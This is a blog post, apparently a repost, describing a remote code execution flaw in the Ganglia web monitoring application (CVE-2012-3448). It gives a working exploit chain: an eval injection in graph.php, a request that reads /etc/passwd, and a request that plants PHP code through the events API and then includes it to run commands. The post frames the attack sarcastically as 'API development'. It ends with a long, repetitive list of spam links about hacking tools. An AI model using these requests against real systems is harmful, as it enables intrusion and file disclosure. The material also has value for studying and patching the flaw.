Monday, August 24, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

Related posts


  1. What Are Hacking Tools
  2. Hak5 Tools
  3. What Are Hacking Tools
  4. Bluetooth Hacking Tools Kali
  5. Pentest Tools Website
  6. Hack Tools For Games
  7. Hack Tool Apk No Root
  8. Hacker Tools Hardware
  9. Hacker
  10. Hacker Tools 2019
  11. Hacker Search Tools
  12. Hacker Tools Mac
  13. Android Hack Tools Github
  14. Pentest Reporting Tools
  15. Hackers Toolbox
  16. Pentest Tools Linux
  17. Physical Pentest Tools
  18. World No 1 Hacker Software
  19. Hacker Tools Windows
  20. Pentest Tools Kali Linux
  21. Hack Tools For Windows
  22. Black Hat Hacker Tools
  23. Hacking Tools 2019
  24. Hack Tools Download
  25. Tools Used For Hacking
  26. Bluetooth Hacking Tools Kali
  27. Hack Tools Online
  28. Kik Hack Tools
  29. Pentest Tools Port Scanner
  30. Hacking Tools For Mac
  31. Hacking Tools Hardware
  32. Pentest Reporting Tools
  33. Game Hacking
  34. Android Hack Tools Github
  35. Pentest Tools Bluekeep
  36. Pentest Tools Subdomain
  37. Hacker Tools Free Download
  38. Hack Website Online Tool
  39. Hack Tools For Games
  40. Hacking Tools Kit
  41. Pentest Tools For Windows
  42. Hacking Tools Software
  43. Hacker Tools 2020
  44. What Is Hacking Tools
  45. Hackrf Tools
  46. Pentest Tools Website
  47. Hacker Tools 2019
  48. Pentest Reporting Tools
  49. Hacker Tool Kit
  50. Hack App
  51. Hacker Tools Apk
  52. Hackers Toolbox
  53. Hackrf Tools
  54. Hack Tool Apk No Root
  55. Hacker
  56. Pentest Tools List
  57. Hacker Tools Windows
  58. Hacking Tools Software
  59. Game Hacking
  60. Best Hacking Tools 2020
  61. Nsa Hacker Tools
  62. Hacking Tools Hardware
  63. Hacking Tools
  64. Hacking Tools For Kali Linux
  65. Pentest Tools For Mac
  66. Pentest Reporting Tools
  67. Hacking Tools For Beginners
  68. Pentest Tools Download
  69. Pentest Tools Free
  70. Hacking Tools For Games
  71. Hacking Tools Windows
  72. Easy Hack Tools
  73. Hacking Tools Windows
  74. Hack Tool Apk No Root
  75. Hack Tools Github
  76. Hack Apps
  77. Hacker Tools For Windows
  78. Hack Tools For Windows
  79. Pentest Tools Port Scanner
  80. Top Pentest Tools
  81. What Are Hacking Tools
  82. Pentest Tools Free
  83. Computer Hacker
  84. Pentest Tools Windows
  85. Hacker Tools Online
  86. Hacker Tools Hardware
  87. Hacking Tools And Software
  88. Github Hacking Tools
  89. Pentest Tools Alternative
  90. Hacker Tools
  91. Hacker Hardware Tools
  92. Hacker Tools Software

No comments:

Post a Comment

My Blog List

Blog Archive

Kiwi Arts Now Sold at Image Spa!

Kiwi Arts Now Sold at Image Spa!
Buy Natural Wood Bangles at Image Spa!

Kiwi Arts on Artfire

Store not available